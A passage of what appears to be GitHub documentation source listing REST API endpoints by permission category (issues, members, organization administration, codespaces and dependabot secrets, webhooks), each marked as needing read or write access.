/user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-a-secret-for-the-authenticated-user) (write) +- [`GET /user/codespaces/secrets/public-key`](/rest/reference/codespaces#get-public-key-for-the-authenticated-user) (read) +- [`GET /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#list-selected-repositories-for-a-user-secret) (read) +- [`PUT /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#set-selected-repositories-for-a-user-secret) (write) +- [`PUT /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#add-a-selected-repository-to-a-user-secret) (write) +- [`DELETE /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#remove-a-selected-repository-from-a-user-secret) (write) + +## Contents + +- [`GET /repos/{owner}/{repo}/codeowners/errors`](/rest/reference/repos#list-codeowners-errors) (read) +- [`POST /repos/{owner}/{repo}/git/blobs`](/rest/reference/git#create-a-blob) (write) +- [`POST /repos/{owner}/{repo}/git/commits`](/rest/reference/git#create-a-commit) (write) +- [`POST /repos/{owner}/{repo}/git/refs`](/rest/reference/git#create-a-reference) (write) +- [`POST /repos/{owner}/{repo}/git/tags`](/rest/reference/git#create-a-tag-object) (write) +- [`POST /repos/{owner}/{repo}/git/trees`](/rest/reference/git#create-a-tree) (write) +- [`GET /repos/{owner}/{repo}/import`](/rest/reference/migrations#get-an-import-status) (read) +- [`PUT /repos/{owner}/{repo}/import`](/rest/reference/migrations#start-an-import) (write) +- [`PATCH /repos/{owner}/{repo}/import`](/rest/reference/migrations#update-an-import) (write) +- [`DELETE /repos/{owner}/{repo}/import`](/rest/reference/migrations#cancel-an-import) (write) +- [`GET /repos/{owner}/{repo}/import/authors`](/rest/reference/migrations#get-commit-authors) (read) +- [`PATCH /repos/{owner}/{repo}/import/authors/{author_id}`](/rest/reference/migrations#map-a-commit-author) (write) +- [`GET /repos/{owner}/{repo}/import/large_files`](/rest/reference/migrations#get-large-files) (read) +- [`PATCH /repos/{owner}/{repo}/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) (write) +- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/merge`](/rest/reference/pulls#merge-a-pull-request) (write) +- [`POST /repos/{owner}/{repo}/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) (write) +- [`DELETE /repos/{owner}/{repo}/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-a-commit-comment-reaction) (write) +- [`GET /repos/{owner}/{repo}/branches`](/rest/reference/repos#list-branches) (read) +- [`POST /repos/{owner}/{repo}/merge-upstream`](/rest/reference/repos#sync-a-fork-branch-with-the-upstream-repository) (write) +- [`POST /repos/{owner}/{repo}/merges`](/rest/reference/repos#merge-a-branch) (write) +- [`GET /repos/{owner}/{repo}/code-scanning/codeql/databases`](/rest/reference/code-scanning#list-codeql-databases) (read) +- [`GET /repos/{owner}/{repo}/code-scanning/codeql/databases/{language}`](/rest/reference/code-scanning#get-codeql-database) (read) +- [`PATCH /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#update-a-commit-comment) (write) +- [`DELETE /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#delete-a-commit-comment) (write) +- [`GET /repos/{owner}/{repo}/commits`](/rest/commits/commits#list-commits) (read) +- [`GET /repos/{owner}/{repo}/community/profile`](/rest/metrics/community#get-community-profile-metrics) (read) +- [`GET /repos/{owner}/{repo}/dependency-graph/compare/{basehead}`](/rest/reference/dependency-graph#get-a-diff-of-the-dependencies-between-commits) (read) +- [`POST /repos/{owner}/{repo}/dispatches`](/rest/reference/repos#create-a-repository-dispatch-event) (write) +- [`GET /repos/{owner}/{repo}/releases`](/rest/reference/repos#list-releases) (read) +- [`POST /repos/{owner}/{repo}/releases`](/rest/reference/repos#create-a-release) (write) +- [`GET /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#get-a-release) (read) +- [`PATCH /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#update-a-release) (write) +- [`DELETE /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#delete-a-release) (write) +- [`GET /repos/{owner}/{repo}/releases/{release_id}/assets`](/rest/reference/repos#list-release-assets) (read) +- [`GET /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#get-a-release-asset) (read) +- [`PATCH /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#update-a-release-asset) (write) +- [`DELETE /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#delete-a-release-asset) (write) +- [`POST /repos/{owner}/{repo}/releases/generate-notes`](/rest/reference/repos#generate-release-notes) (write) +- [`GET /repos/{owner}/{repo}/releases/latest`](/rest/reference/repos#get-the-latest-release) (read) + +## Dependabot secrets + +- [`GET /repos/{owner}/{repo}/dependabot/secrets`](/rest/reference/dependabot#list-repository-secrets) (read) +- [`GET /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#get-a-repository-secret) (read) +- [`PUT /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#create-or-update-a-repository-secret) (write) +- [`DELETE /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#delete-a-repository-secret) (write) +- [`GET /repos/{owner}/{repo}/dependabot/secrets/public-key`](/rest/reference/dependabot#get-a-repository-public-key) (read) + +## Deployments + +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#review-pending-deployments-for-a-workflow-run) (read) +- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}/statuses`](/rest/reference/repos#list-deployment-statuses) (read) +- [`POST /repos/{owner}/{repo}/deployments/{deployment_id}/statuses`](/rest/reference/repos#create-a-deployment-status) (write) +- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}/statuses/{status_id}`](/rest/reference/repos#get-a-deployment-status) (read) +- [`GET /repos/{owner}/{repo}/deployments`](/rest/reference/repos#list-deployments) (read) +- [`POST /repos/{owner}/{repo}/deployments`](/rest/reference/repos#create-a-deployment) (write) +- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}`](/rest/reference/repos#get-a-deployment) (read) +- [`DELETE /repos/{owner}/{repo}/deployments/{deployment_id}`](/rest/reference/repos#delete-a-deployment) (write) + +## Emails + +- [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) (write) +- [`GET /user/emails`](/rest/reference/users#list-email-addresses-for-the-authenticated-user) (read) +- [`POST /user/emails`](/rest/reference/users#add-an-email-address-for-the-authenticated-user) (write) +- [`DELETE /user/emails`](/rest/reference/users#delete-an-email-address-for-the-authenticated-user) (write) +- [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) (read) + +## Enterprise administration + +- [`GET /enterprises/{enterprise}/settings/billing/advanced-security`](/rest/reference/billing#export-advanced-security-active-committers-data-for-enterprise) (write) +- [`GET /enterprises/{enterprise}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-an-enterprise) (write) + +## Followers + +- [`GET /user/followers`](/rest/reference/users#list-followers-of-the-authenticated-user) (read) +- [`GET /user/following`](/rest/reference/users#list-the-people-the-authenticated-user-follows) (read) +- [`GET /user/following/{username}`](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user) (read) +- [`PUT /user/following/{username}`](/rest/reference/users#follow-a-user) (write) +- [`DELETE /user/following/{username}`](/rest/reference/users#unfollow-a-user) (write) + +## Gists + +- [`POST /gists/{gist_id}/comments`](/rest/reference/gists#create-a-gist-comment) (write) +- [`PATCH /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#update-a-gist-comment) (write) +- [`DELETE /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#delete-a-gist-comment) (write) +- [`POST /gists`](/rest/reference/gists#create-a-gist) (write) +- [`PATCH /gists/{gist_id}`](/rest/reference/gists/#update-a-gist) (write) +- [`DELETE /gists/{gist_id}`](/rest/reference/gists#delete-a-gist) (write) +- [`POST /gists/{gist_id}/forks`](/rest/reference/gists#fork-a-gist) (write) +- [`PUT /gists/{gist_id}/star`](/rest/reference/gists#star-a-gist) (write) +- [`DELETE /gists/{gist_id}/star`](/rest/reference/gists#unstar-a-gist) (write) + +## Git signing ssh public keys + +- [`GET /user/ssh_signing_keys`](/rest/reference/users#list-public-ssh-signing-keys-for-the-authenticated-user) (read) +- [`POST /user/ssh_signing_keys`](/rest/reference/users#create-an-ssh-signing-key-for-the-authenticated-user) (write) +- [`GET /user/ssh_signing_keys/{ssh_signing_key_id}`](/rest/reference/users#get-a-ssh-signing-key-for-the-authenticated-user) (read) +- [`DELETE /user/ssh_signing_keys/{ssh_signing_key_id}`](/rest/reference/users#delete-a-ssh-signing-key-for-the-authenticated-user) (write) + +## Gpg keys + +- [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) (read) +- [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) (write) +- [`GET /user/gpg_keys/{gpg_key_id}`](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user) (read) +- [`DELETE /user/gpg_keys/{gpg_key_id}`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) (write) + +## Interaction limits + +- [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) (read) +- [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) (write) +- [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) (write) + +## Issues + +- [`POST /repos/{owner}/{repo}/issues/{issue_number}/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (write) +- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (write) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/comments`](/rest/reference/issues#list-issue-comments) (read) +- [`POST /repos/{owner}/{repo}/issues/{issue_number}/comments`](/rest/reference/issues#create-an-issue-comment) (write) +- [`GET /repos/{owner}/{repo}/issues/comments`](/rest/reference/issues#list-issue-comments-for-a-repository) (read) +- [`GET /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#get-an-issue-comment) (read) +- [`PATCH /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#update-an-issue-comment) (write) +- [`DELETE /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#delete-an-issue-comment) (write) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/events`](/rest/reference/issues#list-issue-events) (read) +- [`GET /repos/{owner}/{repo}/issues/events`](/rest/reference/issues#list-issue-events-for-a-repository) (read) +- [`GET /repos/{owner}/{repo}/issues/events/{event_id}`](/rest/reference/issues#get-an-issue-event) (read) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/timeline`](/rest/reference/issues#list-timeline-events-for-an-issue) (read) +- [`GET /repos/{owner}/{repo}/assignees`](/rest/reference/issues#list-assignees) (read) +- [`GET /repos/{owner}/{repo}/issues`](/rest/reference/issues#list-repository-issues) (read) +- [`POST /repos/{owner}/{repo}/issues`](/rest/reference/issues#create-an-issue) (write) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}`](/rest/reference/issues#get-an-issue) (read) +- [`PATCH /repos/{owner}/{repo}/issues/{issue_number}`](/rest/reference/issues/#update-an-issue) (write) +- [`PUT /repos/{owner}/{repo}/issues/{issue_number}/lock`](/rest/reference/issues#lock-an-issue) (write) +- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/lock`](/rest/reference/issues#unlock-an-issue) (write) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#list-labels-for-an-issue) (read) +- [`POST /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#add-labels-to-an-issue) (write) +- [`PUT /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#set-labels-for-an-issue) (write) +- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#remove-all-labels-from-an-issue) (write) +- [`GET /repos/{owner}/{repo}/labels`](/rest/reference/issues#list-labels-for-a-repository) (read) +- [`POST /repos/{owner}/{repo}/labels`](/rest/reference/issues#create-a-label) (write) +- [`GET /repos/{owner}/{repo}/milestones/{milestone_number}/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (read) +- [`GET /repos/{owner}/{repo}/milestones`](/rest/reference/issues#list-milestones) (read) +- [`POST /repos/{owner}/{repo}/milestones`](/rest/reference/issues#create-a-milestone) (write) +- [`GET /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#get-a-milestone) (read) +- [`PATCH /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#update-a-milestone) (write) +- [`DELETE /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#delete-a-milestone) (write) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (read) +- [`POST /repos/{owner}/{repo}/issues/{issue_number}/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (write) +- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-an-issue-reaction) (write) +- [`GET /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (read) +- [`POST /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (write) +- [`DELETE /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-an-issue-comment-reaction) (write) + +## Keys + +- [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) (read) +- [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) (write) +- [`GET /user/keys/{key_id}`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) (read) +- [`DELETE /user/keys/{key_id}`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) (write) + +## Members + +{% ifversion ghec %}- [`PATCH /orgs/{org}/teams/{team_slug}/external-groups`](/rest/reference/teams#link-external-idp-group-team-connection) (write){% endif %} +{% ifversion ghec %}- [`DELETE /orgs/{org}/teams/{team_slug}/external-groups`](/rest/reference/teams#unlink-external-idp-group-team-connection) (write){% endif %} +{% ifversion ghec %}- [`GET /orgs/{org}/external-group/{group_id}`](/rest/reference/teams#external-idp-group-info-for-an-organization) (write){% endif %} +{% ifversion ghec %}- [`GET /orgs/{org}/external-groups`](/rest/reference/teams#list-external-idp-groups-for-an-organization) (write){% endif %} +- [`GET /orgs/{org}/failed_invitations`](/rest/reference/orgs#list-failed-organization-invitations) (read) +- [`GET /orgs/{org}/invitations`](/rest/reference/orgs#list-pending-organization-invitations) (read) +- [`POST /orgs/{org}/invitations`](/rest/reference/orgs#create-an-organization-invitation) (write) +- [`DELETE /orgs/{org}/invitations/{invitation_id}`](/rest/reference/orgs#cancel-an-organization-invitation) (write) +- [`GET /orgs/{org}/invitations/{invitation_id}/teams`](/rest/reference/orgs#list-organization-invitation-teams) (read) +- [`GET /orgs/{org}/members`](/rest/reference/orgs#list-organization-members) (read) +- [`GET /orgs/{org}/members/{username}`](/rest/reference/orgs#check-organization-membership-for-a-user) (read) +- [`DELETE /orgs/{org}/members/{username}`](/rest/reference/orgs#remove-an-organization-member) (write) +- [`GET /orgs/{org}/memberships/{username}`](/rest/reference/orgs#get-organization-membership-for-a-user) (read) +- [`PUT /orgs/{org}/memberships/{username}`](/rest/reference/orgs#set-organization-membership-for-a-user) (write) +- [`DELETE /orgs/{org}/memberships/{username}`](/rest/reference/orgs#remove-organization-membership-for-a-user) (write) +- [`GET /orgs/{org}/public_members`](/rest/reference/orgs#list-public-organization-members) (read) +- [`GET /orgs/{org}/public_members/{username}`](/rest/reference/orgs#check-public-organization-membership-for-a-user) (read) +- [`PUT /orgs/{org}/public_members/{username}`](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user) (write) +- [`DELETE /orgs/{org}/public_members/{username}`](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user) (write) +- [`GET /orgs/{org}/outside_collaborators`](/rest/reference/orgs#list-outside-collaborators-for-an-organization) (read) +- [`PUT /orgs/{org}/outside_collaborators/{username}`](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator) (write) +- [`DELETE /orgs/{org}/outside_collaborators/{username}`](/rest/reference/orgs#remove-outside-collaborator-from-an-organization) (write) +- [`GET /orgs/{org}/teams/{team_slug}/projects`](/rest/reference/teams#list-team-projects) (read) +- [`GET /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#check-team-permissions-for-a-project) (read) +- [`PUT /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#add-or-update-team-project-permissions) (read) +- [`DELETE /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#remove-a-project-from-a-team) (read) +- [`GET /orgs/{org}/teams/{team_slug}/repos`](/rest/reference/teams#list-team-repositories) (read) +- [`GET /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#check-team-permissions-for-a-repository) (read) +- [`PUT /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#add-or-update-team-repository-permissions) (read) +- [`DELETE /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#remove-a-repository-from-a-team) (read) +- [`PATCH /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#update-a-team) (write) +- [`DELETE /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#delete-a-team) (write) +- [`GET /orgs/{org}/teams/{team_slug}/invitations`](/rest/reference/teams#list-pending-team-invitations) (read) +- [`GET /orgs/{org}/teams/{team_slug}/members`](/rest/reference/teams#list-team-members) (read) +- [`GET /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#get-team-membership-for-a-user) (read) +- [`PUT /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#add-or-update-team-membership-for-a-user) (write) +- [`DELETE /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#remove-team-membership-for-a-user) (write) +- [`GET /orgs/{org}/teams/{team_slug}/teams`](/rest/reference/teams#list-child-teams) (read) +- [`GET /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#get-a-team-by-name) (read) +- [`GET /orgs/{org}/teams`](/rest/reference/teams#list-teams) (read) +- [`POST /orgs/{org}/teams`](/rest/reference/teams#create-a-team) (write) +- [`GET /user/memberships/orgs/{org}`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) (read) +- [`PATCH /user/memberships/orgs/{org}`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) (write) + +## Metadata + +- [`GET /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#list-selected-repositories-for-a-user-secret) (read) +- [`PUT /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#set-selected-repositories-for-a-user-secret) (read) +- [`PUT /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#add-a-selected-repository-to-a-user-secret) (read) +- [`DELETE /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#remove-a-selected-repository-from-a-user-secret) (read) +- [`GET /repos/{owner}/{repo}/events`](/rest/reference/activity#list-repository-events) (read) +- [`POST /gists/{gist_id}/comments`](/rest/reference/gists#create-a-gist-comment) (read) +- [`GET /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#get-a-gist-comment) (read) +- [`PATCH /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#update-a-gist-comment) (read) +- [`DELETE /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#delete-a-gist-comment) (read) +- [`POST /gists`](/rest/reference/gists#create-a-gist) (read) +- [`PATCH /gists/{gist_id}`](/rest/reference/gists/#update-a-gist) (read) +- [`DELETE /gists/{gist_id}`](/rest/reference/gists#delete-a-gist) (read) +- [`POST /gists/{gist_id}/forks`](/rest/reference/gists#fork-a-gist) (read) +- [`PUT /gists/{gist_id}/star`](/rest/reference/gists#star-a-gist) (read) +- [`DELETE /gists/{gist_id}/star`](/rest/reference/gists#unstar-a-gist) (read) +- [`GET /notifications`](/rest/reference/activity#list-notifications-for-the-authenticated-user) (read) +- [`GET /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#check-team-permissions-for-a-repository) (read) +- [`PUT /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#add-or-update-team-repository-permissions) (read) +- [`DELETE /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#remove-a-repository-from-a-team) (read) +- [`GET /repos/{owner}/{repo}/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment) (read) +- [`GET /orgs/{org}/repos`](/rest/reference/repos#list-organization-repositories) (read) +- [`GET /repositories`](/rest/reference/repos#list-public-repositories) (read) +- [`GET /repos/{owner}/{repo}`](/rest/reference/repos#get-a-repository) (read) +- [`GET /repos/{owner}/{repo}/contributors`](/rest/reference/repos#list-repository-contributors) (read) +- [`GET /repos/{owner}/{repo}/forks`](/rest/reference/repos#list-forks) (read) +- [`GET /repos/{owner}/{repo}/languages`](/rest/reference/repos#list-repository-languages) (read) +- [`GET /repos/{owner}/{repo}/tags`](/rest/reference/repos#list-repository-tags) (read) +- [`GET /users/{username}/repos`](/rest/reference/repos#list-repositories-for-a-user) (read) +- [`GET /user/repos`](/rest/reference/repos#list-repositories-for-the-authenticated-user) (read) +- [`GET /repos/{owner}/{repo}/stargazers`](/rest/reference/activity#list-stargazers) (read) +- [`GET /repos/{owner}/{repo}/subscribers`](/rest/reference/activity#list-watchers) (read) +- [`GET /repos/{owner}/{repo}/collaborators`](/rest/collaborators/collaborators#list-repository-collaborators) (read) +- [`GET /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#check-if-a-user-is-a-repository-collaborator) (read) +- [`GET /repos/{owner}/{repo}/collaborators/{username}/permission`](/rest/collaborators/collaborators#get-repository-permissions-for-a-user) (read) +- [`GET /repos/{owner}/{repo}/comments`](/rest/commits/comments#list-commit-comments-for-a-repository) (read) +- [`GET /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#get-a-commit-comment) (read) +- [`GET /repos/{owner}/{repo}/license`](/rest/reference/licenses/#get-the-license-for-a-repository) (read) +- [`GET /repos/{owner}/{repo}/stats/code_frequency`](/rest/metrics/statistics#get-the-weekly-commit-activity) (read) +- [`GET /repos/{owner}/{repo}/stats/commit_activity`](/rest/metrics/statistics#get-the-last-year-of-commit-activity) (read) +- [`GET /repos/{owner}/{repo}/stats/contributors`](/rest/metrics/statistics#get-all-contributor-commit-activity) (read) +- [`GET /repos/{owner}/{repo}/stats/participation`](/rest/metrics/statistics#get-the-weekly-commit-count) (read) +- [`GET /repos/{owner}/{repo}/stats/punch_card`](/rest/metrics/statistics#get-the-hourly-commit-count-for-each-day) (read) +- [`GET /search/labels`](/rest/reference/search#search-labels) (read) +- [`GET /repos/{owner}/{repo}/topics`](/rest/reference/repos#get-all-repository-topics) (read) + +## Notifications + +- [`GET /notifications`](/rest/reference/activity#list-notifications-for-the-authenticated-user) (read) + +## Organization administration + +{% ifversion ghec %}- [`GET /orgs/{org}/audit-log`](/rest/reference/orgs#get-audit-log) (read){% endif %} +- [`GET /orgs/{org}/settings/billing/actions`](/rest/reference/billing#get-github-actions-billing-for-an-organization) (read) +- [`GET /orgs/{org}/settings/billing/advanced-security`](/rest/reference/billing#get-github-advanced-security-active-committers-for-an-organization) (read) +- [`GET /orgs/{org}/settings/billing/packages`](/rest/reference/billing#get-github-packages-billing-for-an-organization) (read) +- [`GET /orgs/{org}/settings/billing/shared-storage`](/rest/reference/billing#get-shared-storage-billing-for-an-organization) (read) +- [`GET /enterprise-installation/{enterprise_or_org}/server-statistics`](/rest/reference/enterprise-admin#get-github-enterprise-server-statistics) (read) +- [`GET /orgs/{org}/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-an-organization) (read) +- [`PUT /orgs/{org}/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-an-organization) (write) +- [`DELETE /orgs/{org}/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) (write) +- [`GET /orgs/{org}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-an-organization) (read) +- [`GET /orgs/{org}/actions/cache/usage-by-repository`](/rest/reference/actions#list-repositories-with-github-actions-cache-usage-for-an-organization) (read) +- [`GET /orgs/{org}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-an-organization) (read) +- [`PUT /orgs/{org}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-an-organization) (write) +- [`GET /orgs/{org}/actions/permissions/repositories`](/rest/reference/actions#list-selected-repositories-enabled-for-github-actions-in-an-organization) (read) +- [`PUT /orgs/{org}/actions/permissions/repositories`](/rest/reference/actions#set-selected-repositories-enabled-for-github-actions-in-an-organization) (write) +- [`GET /orgs/{org}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-an-organization) (read) +- [`PUT /orgs/{org}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-an-organization) (write) +- [`GET /orgs/{org}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions) (read) +- [`PUT /orgs/{org}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions) (write) +- [`GET /orgs/{org}/security-managers`](/rest/reference/orgs#list-security-manager-teams) (read) +- [`PUT /orgs/{org}/security-managers/teams/{team_slug}`](/rest/reference/orgs#add-a-security-manager-team) (write) +- [`DELETE /orgs/{org}/security-managers/teams/{team_slug}`](/rest/reference/orgs#remove-a-security-manager-team) (write) +- [`PATCH /orgs/{org}`](/rest/reference/orgs/#update-an-organization) (write) +- [`GET /orgs/{org}/installations`](/rest/reference/orgs#list-app-installations-for-an-organization) (read) + +## Organization codespaces + +- [`GET /orgs/{org}/codespaces`](/rest/reference/codespaces#list-in-organization) (read) + +## Organization codespaces secrets + +- [`GET /orgs/{org}/codespaces/secrets`](/rest/reference/codespaces#list-organization-secrets) (read) +- [`GET /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-an-organization-secret) (read) +- [`PUT /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-an-organization-secret) (write) +- [`DELETE /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-an-organization-secret) (write) +- [`GET /orgs/{org}/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#list-selected-repositories-for-an-organization-secret) (read) +- [`PUT /orgs/{org}/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#set-selected-repositories-for-an-organization-secret) (write) +- [`GET /orgs/{org}/codespaces/secrets/public-key`](/rest/reference/codespaces#get-an-organization-public-key) (read) + +## Organization codespaces settings + +- [`PUT /orgs/{org}/codespaces/billing`](/rest/reference/codespaces#set-codespaces-billing) (write) + +## Organization custom roles + +- [`GET /organizations/{organization_id}/custom_roles`](/rest/reference/orgs#list-custom-repository-roles-in-an-organization) (read) +- [`PATCH /orgs/{org}/custom_roles/{role_id}`](/rest/reference/orgs#update-a-custom-role) (write) +- [`DELETE /orgs/{org}/custom_roles/{role_id}`](/rest/reference/orgs#delete-a-custom-role) (write) +- [`GET /orgs/{org}/fine_grained_permissions`](/rest/reference/orgs#list-fine-grained-permissions-for-an-organization) (read) + +## Organization dependabot secrets + +- [`GET /orgs/{org}/dependabot/secrets`](/rest/reference/dependabot#list-organization-secrets) (read) +- [`GET /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#get-an-organization-secret) (read) +- [`PUT /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#create-or-update-an-organization-secret) (write) +- [`DELETE /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#delete-an-organization-secret) (write) +- [`GET /orgs/{org}/dependabot/secrets/{secret_name}/repositories`](/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret) (read) +- [`PUT /orgs/{org}/dependabot/secrets/{secret_name}/repositories`](/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) (write) +- [`GET /orgs/{org}/dependabot/secrets/public-key`](/rest/reference/dependabot#get-an-organization-public-key) (read) + +## Organization events + +- [`GET /users/{username}/events/orgs/{org}`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) (read) + +## Organization hooks + +- [`GET /orgs/{org}/hooks`](/rest/reference/orgs#list-organization-webhooks) (read) +- [`POST /orgs/{org}/hooks`](/rest/reference/orgs#create-an-organization-webhook) (write) +- [`GET /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#get-an-organization-webhook) (read) +- [`PATCH /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#update-an-organization-webhook) (write) +- [`DELETE /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#delete-an-organization-webhook) (write) +- [`GET /orgs/{org}/hooks/{hook_id}/config`](/rest/reference/orgs#get-a-webhook-configuration-for-an-organization) (read) +- [`PATCH /orgs/{org}/hooks/{hook_id}/config`](/rest/reference/orgs#update-a-webhook-configuration-for-an-organization) (write) +- [`GET 